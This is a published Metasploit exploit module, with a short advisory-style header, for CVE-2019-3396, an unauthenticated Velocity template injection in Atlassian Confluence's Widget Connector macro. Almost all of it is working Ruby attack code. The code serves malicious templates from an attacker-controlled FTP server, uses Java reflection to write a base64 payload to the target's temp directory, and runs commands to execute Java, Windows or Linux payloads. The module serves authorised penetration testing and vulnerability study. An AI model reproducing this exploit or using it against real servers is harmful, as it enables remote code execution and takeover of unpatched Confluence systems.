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Atlassian Confluence Widget Connector Macro Velocity Template Injection

Atlassian Confluence Widget Connector Macro Velocity Template Injection
Posted Apr 18, 2019
Authored by Dmitry Shchannikov, Daniil Dmitriev | Site metasploit.com

Widget Connector Macro is part of Atlassian Confluence Server and Data Center that allows embed online videos, slideshows, photostreams and more directly into page. A _template parameter can be used to inject remote Java code into a Velocity template, and gain code execution. Authentication is not required to exploit this vulnerability. By default, Java payload will be used because it is cross-platform, but you can also specify which native payload you want (Linux or Windows). Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version 6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected.

tags | exploit, java, remote, code execution
systems | linux, windows
advisories | CVE-2019-3396
MD5 | 4099d2952e755caeb70a9a2d8a31e363

Atlassian Confluence Widget Connector Macro Velocity Template Injection

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::FtpServer

def initialize(info={})
super(update_info(info,
'Name' => "Atlassian Confluence Widget Connector Macro Velocity Template Injection",
'Description' => %q{
Widget Connector Macro is part of Atlassian Confluence Server and Data Center that
allows embed online videos, slideshows, photostreams and more directly into page.
A _template parameter can be used to inject remote Java code into a Velocity template,
and gain code execution. Authentication is unrequired to exploit this vulnerability.
By default, Java payload will be used because it is cross-platform, but you can also
specify which native payload you want (Linux or Windows).

Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version
6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected.

This vulnerability was originally discovered by Daniil Dmitriev
https://twitter.com/ddv_ua.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Daniil Dmitriev', # Discovering vulnerability
'Dmitry (rrock) Shchannikov' # Metasploit module
],
'References' =>
[
[ 'CVE', '2019-3396' ],
[ 'URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html' ],
[ 'URL', 'https://chybeta.github.io/2019/04/06/Analysis-for-【CVE-2019-3396】-SSTI-and-RCE-in-Confluence-Server-via-Widget-Connector/'],
[ 'URL', 'https://paper.seebug.org/886/']
],
'Targets' =>
[
[ 'Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA }],
[ 'Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 }],
[ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 }]
],
'DefaultOptions' =>
{
'RPORT' => 8090,
'SRVPORT' => 8021,
},
'Privileged' => false,
'DisclosureDate' => 'Mar 25 2019',
'DefaultTarget' => 0,
'Stance' => Msf::Exploit::Stance::Aggressive
))

register_options(
[
OptString.new('TARGETURI', [true, 'The base to Confluence', '/']),
OptString.new('TRIGGERURL', [true, 'Url to external video service to trigger vulnerability',
'https://www.youtube.com/watch?v=dQw4w9WgXcQ'])
])
end

# Handles ftp RETP command.
#
# @param c [Socket] Control connection socket.
# @param arg [String] RETR argument.
# @return [void]
def on_client_command_retr(c, arg)
vprint_status("FTP download request for #{arg}")
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end

c.put("150 Opening BINARY mode data connection for #{arg}\r\n")
case arg
when /check\.vm$/
conn.put(wrap(get_check_vm))
when /javaprop\.vm$/
conn.put(wrap(get_javaprop_vm))
when /upload\.vm$/
conn.put(wrap(get_upload_vm))
when /exec\.vm$/
conn.put(wrap(get_exec_vm))
else
conn.put(wrap(get_dummy_vm))
end
c.put("226 Transfer complete.\r\n")
conn.close
end

# Handles ftp PASS command to suppress output.
#
# @param c [Socket] Control connection socket.
# @param arg [String] PASS argument.
# @return [void]
def on_client_command_pass(c, arg)
@state[c][:pass] = arg
vprint_status("#{@state[c][:name]} LOGIN #{@state[c][:user]} / #{@state[c][:pass]}")
c.put "230 Login OK\r\n"
end

# Handles ftp EPSV command to suppress output.
#
# @param c [Socket] Control connection socket.
# @param arg [String] EPSV argument.
# @return [void]
def on_client_command_epsv(c, arg)
vprint_status("#{@state[c][:name]} UNKNOWN 'EPSV #{arg}'")
c.put("500 'EPSV #{arg}': command not understood.\r\n")
end

# Returns a upload template.
#
# @return [String]
def get_upload_vm
(
<<~EOF
$i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{@fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{@b64}'))
EOF
)
end

# Returns a command execution template.
#
# @return [String]
def get_exec_vm
(
<<~EOF
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{@command}').waitFor()
EOF
)
end

# Returns checking template.
#
# @return [String]
def get_check_vm
(
<<~EOF
#{@check_text}
EOF
)
end

# Returns Java's getting property template.
#
# @return [String]
def get_javaprop_vm
(
<<~EOF
$i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{@prop}').toString()
EOF
)
end

# Returns dummy template.
#
# @return [String]
def get_dummy_vm
(
<<~EOF
EOF
)
end

# Checks the vulnerability.
#
# @return [Array] Check code
def check
checkcode = Exploit::CheckCode::Safe
begin
# Start the FTP service
print_status("Starting the FTP server.")
start_service

@check_text = Rex::Text.rand_text_alpha(5..10)
res = inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}check.vm")
if res && res.body && res.body.include?(@check_text)
checkcode = Exploit::CheckCode::Vulnerable
end
rescue Msf::Exploit::Failed => e
vprint_error(e.message)
checkcode = Exploit::CheckCode::Unknown
end
checkcode
end

# Injects Java code to the template.
#
# @param service_url [String] Address of template to injection.
# @return [void]
def inject_template(service_url, timeout=20)

uri = normalize_uri(target_uri.path, 'rest', 'tinymce', '1', 'macro', 'preview')

res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'headers' => {
'Accept' => '*/*',
'Origin' => full_uri(vhost_uri: true)
},
'ctype' => 'application/json; charset=UTF-8',
'data' => {
'contentId' => '1',
'macro' => {
'name' => 'widget',
'body' => '',
'params' => {
'url' => datastore['TRIGGERURL'],
'_template' => service_url
}

}
}.to_json
}, timeout=timeout)

unless res
unless service_url.include?("exec.vm")
print_warning('Connection timed out in #inject_template')
end
return
end

if res.body.include? 'widget-error'
print_error('Failed to inject and execute code:')
else
vprint_status("Server response:")
end

vprint_line(res.body)

res
end

# Returns a system property for Java.
#
# @param prop [String] Name of the property to retrieve.
# @return [String]
def get_java_property(prop)
@prop = prop
res = inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}javaprop.vm")
if res && res.body
return clear_response(res.body)
end
''
end

# Returns the target platform.
#
# @return [String]
def get_target_platform
return get_java_property('os.name')
end

# Checks if the target os/platform is compatible with the module target or not.
#
# @return [TrueClass] Compatible
# @return [FalseClass] Not compatible
def target_platform_compat?(target_platform)
target.platform.names.each do |n|
if n.downcase == 'java' || target_platform.downcase.include?(n.downcase)
return true
end
end

false
end

# Returns a temp path from the remote target.
#
# @return [String]
def get_tmp_path
return get_java_property('java.io.tmpdir')
end

# Returns the Java home path used by Confluence.
#
# @return [String]
def get_java_home_path
return get_java_property('java.home')
end

# Returns Java code that can be used to inject to the template in order to copy a file.
#
# @note The purpose of this method is to have a file that is not busy, so we can execute it.
# It is meant to be used with #get_write_file_code.
#
# @param fname [String] The file to copy
# @param new_fname [String] The new file
# @return [void]
def get_dup_file_code(fname, new_fname)
if fname =~ /^\/[[:print:]]+/
@command = "cp #{fname} #{new_fname}"
else
@command = "cmd.exe /C copy #{fname} #{new_fname}"
end

inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm")
end

# Returns the normalized file path for payload.
#
# @return [String]
def normalize_payload_fname(tmp_path, fname)
# A quick way to check platform insteaf of actually grabbing os.name in Java system properties.
if /^\/[[:print:]]+/ === tmp_path
Rex::FileUtils.normalize_unix_path(tmp_path, fname)
else
Rex::FileUtils.normalize_win_path(tmp_path, fname)
end
end

# Exploits the target in Java platform.
#
# @return [void]
def exploit_as_java

tmp_path = get_tmp_path

if tmp_path.blank?
fail_with(Failure::Unknown, 'Unable to get the temp path.')
end

@fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar")
@b64 = Rex::Text.encode_base64(payload.encoded_jar)
@command = ''

java_home = get_java_home_path

if java_home.blank?
fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.')
else
vprint_status("Found Java home path: #{java_home}")
end

register_files_for_cleanup(@fname)

if /^\/[[:print:]]+/ === @fname
normalized_java_path = Rex::FileUtils.normalize_unix_path(java_home, '/bin/java')
@command = %Q|#{normalized_java_path} -jar #{@fname}|
else
normalized_java_path = Rex::FileUtils.normalize_win_path(java_home, '\\bin\\java.exe')
@fname.gsub!(/Program Files/, 'PROGRA~1')
@command = %Q|cmd.exe /C "#{normalized_java_path}" -jar #{@fname}|
end

print_status("Attempting to upload #{@fname}")
inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}upload.vm")

print_status("Attempting to execute #{@fname}")
inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5)
end


# Exploits the target in Windows platform.
#
# @return [void]
def exploit_as_windows
tmp_path = get_tmp_path

if tmp_path.blank?
fail_with(Failure::Unknown, 'Unable to get the temp path.')
end

@b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))
@fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe")
new_fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe")
@fname.gsub!(/Program Files/, 'PROGRA~1')
new_fname.gsub!(/Program Files/, 'PROGRA~1')
register_files_for_cleanup(@fname, new_fname)

print_status("Attempting to upload #{@fname}")
inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}upload.vm")

print_status("Attempting to copy payload to #{new_fname}")
get_dup_file_code(@fname, new_fname)

print_status("Attempting to execute #{new_fname}")
@command = new_fname
inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5)
end


# Exploits the target in Linux platform.
#
# @return [void]
def exploit_as_linux
tmp_path = get_tmp_path

if tmp_path.blank?
fail_with(Failure::Unknown, 'Unable to get the temp path.')
end

@b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))
@fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5))
new_fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(6))
register_files_for_cleanup(@fname, new_fname)

print_status("Attempting to upload #{@fname}")
inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}upload.vm")

@command = "chmod +x #{@fname}"
inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm")

print_status("Attempting to copy payload to #{new_fname}")
get_dup_file_code(@fname, new_fname)

print_status("Attempting to execute #{new_fname}")
@command = new_fname
inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5)
end

def exploit
@wrap_marker = Rex::Text.rand_text_alpha(5..10)

# Start the FTP service
print_status("Starting the FTP server.")
start_service

target_platform = get_target_platform
if target_platform.nil?
fail_with(Failure::Unreachable, 'Target did not respond to OS check. Confirm RHOSTS and RPORT, then run "check".')
else
print_status("Target being detected as: #{target_platform}")
end

unless target_platform_compat?(target_platform)
fail_with(Failure::BadConfig, 'Selected module target does not match the actual target.')
end

case target.name.downcase
when /java$/
exploit_as_java
when /windows$/
exploit_as_windows
when /linux$/
exploit_as_linux
end
end

# Wraps request.
#
# @return [String]
def wrap(string)
"#{@wrap_marker}\n#{string}#{@wrap_marker}\n"
end

# Returns unwrapped response.
#
# @return [String]
def clear_response(string)
if match = string.match(/#{@wrap_marker}\n(.*)\n#{@wrap_marker}\n/m)
return match.captures[0]
end
end
end

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